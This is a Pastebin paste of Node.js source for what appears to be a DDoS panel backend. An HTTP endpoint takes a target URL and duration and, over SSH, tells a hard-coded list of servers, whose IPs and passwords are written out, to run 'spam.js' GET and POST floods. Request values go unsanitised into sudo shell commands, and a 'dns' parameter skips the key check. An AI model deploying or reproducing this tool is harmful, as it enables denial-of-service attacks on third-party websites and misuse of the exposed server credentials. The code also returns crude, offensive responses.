Advertisement
Arbitrator

Untitled

Jan 3rd, 2020
7,977
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.46 KB | None | 0 0
  1. const net = require('net');
  2. const Client = require('ssh2').Client;
  3. const http = require('http');
  4. const url = require('url');
  5. const fs = require('fs');
  6.  
  7. const methods = [
  8. "SPAMGET",
  9. "SPAMPOST",
  10. "STOP"
  11. ];
  12.  
  13.  
  14. var servers = [
  15.  
  16. {
  17. ip: "101.99.90.71",
  18. username: "admin",
  19. password: "wtfY@xv4o%MhS%DaQoBxo8fxJhqwndTT@H2"
  20. },
  21. {
  22. ip: "1.2.3.22",
  23. username: "root",
  24. password: "password"
  25. },
  26.  
  27. ]
  28.  
  29.  
  30. var keys = [{
  31. key: "",
  32. concurrents: 4,
  33. maxtime: 1800,
  34. attacks: 0,
  35. admin: true
  36. }]
  37.  
  38.  
  39. process.on('uncaughtException', function(e) {
  40. console.warn(e);
  41. });
  42.  
  43. process.on('unhandledRejection', function(e) {
  44. console.warn(e);
  45. });
  46. var client = new net.Socket();
  47.  
  48. var httpServer = http.createServer().on('request', function(request, response) {
  49. if (request.url.startsWith("/reg")) {
  50. request.query = url.parse(request.url, true).query;
  51. if (methods.indexOf(request.query.method) === -1 || request.query.time < 10) return response.end('gay');
  52. if (!request.query.url) {
  53. return response.end('{"error": "No URL mentioned."}');
  54. }
  55. if (!request.query.time) {
  56. return response.end('{"error": "No time given"}');
  57. }
  58. if (!request.query.method) {
  59. return response.end('{"error": "No method given"}');
  60. }
  61. if (request.query.key || request.query.dns) {
  62. request.query.keydb = keys.find(akey => akey.key == request.query.key);
  63. if (request.query.keydb || request.query.dns) {
  64. if (request.query.dns) {
  65. request.query.keydb = {
  66. concurrents: 1e3,
  67. maxtime: 1e6,
  68. attacks: -1e6
  69. };
  70. }
  71. if (request.query.method == 'STOPALL') {
  72. if (request.query.keydb.admin) {
  73. execute("sudo pkill .js -f; sudo pkill https:// -f; sudo pkill http:// -f;");
  74. response.end("Attack has been sent on " + request.query.url);
  75. }
  76. }
  77. else if (request.query.method == 'SPAMGET') {
  78. if (request.query.keydb.admin) {
  79. execute("sudo node spam.js " + "get " + request.query.url + " " + request.query.time);
  80. response.end("Attack has been sent on " + request.query.url);
  81. }
  82. else if (request.query.method == 'SPAMPOST') {
  83. if (request.query.keydb.admin) {
  84. execute("sudo node spam.js " + request.query.url + " " + request.query.time);
  85. response.end("Attack has been sent on " + "post " + request.query.url);
  86. }
  87. }
  88. else if (request.query.method == 'STOP') {
  89. if (request.query.keydb.admin) {
  90. execute("sudo pkill " + request.query.url + " -f");
  91. response.end("Stopped attack on " + request.query.url);
  92. }
  93. }
  94. } else {
  95. response.end("Wrong key");
  96. }
  97. } else {
  98. response.end("No key was mentioned.");
  99. }
  100. } else {
  101. response.setHeader('content-type', 'text/html');
  102. return response.end('maintenance');
  103. }
  104. } else {
  105. response.setHeader('content-type', 'text/html');
  106. return response.end("fucked")
  107. }});
  108. httpServer.listen(12,function(){
  109. console.log('Server is running on port 12');
  110. });
  111. function execute(command, serversLimit) {
  112. servers.forEach(function(server) {
  113. var conn = new Client();
  114. conn.on('ready', function() {
  115. console.log('Client :: ready');
  116. conn.exec(command, function(err, stream) {
  117. if (err) throw err;
  118. stream.on('close', function(code, signal) {
  119. console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
  120. conn.end();
  121. }).on('data', function(data) {
  122. console.log('STDOUT: ' + data);
  123. }).stderr.on('data', function(data) {
  124. console.log('STDERR: ' + data);
  125. });
  126. });
  127. }).connect({
  128. host: server.ip,
  129. port: 22,
  130. username: server.username,
  131. password: server.password
  132. });
  133. });
  134. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement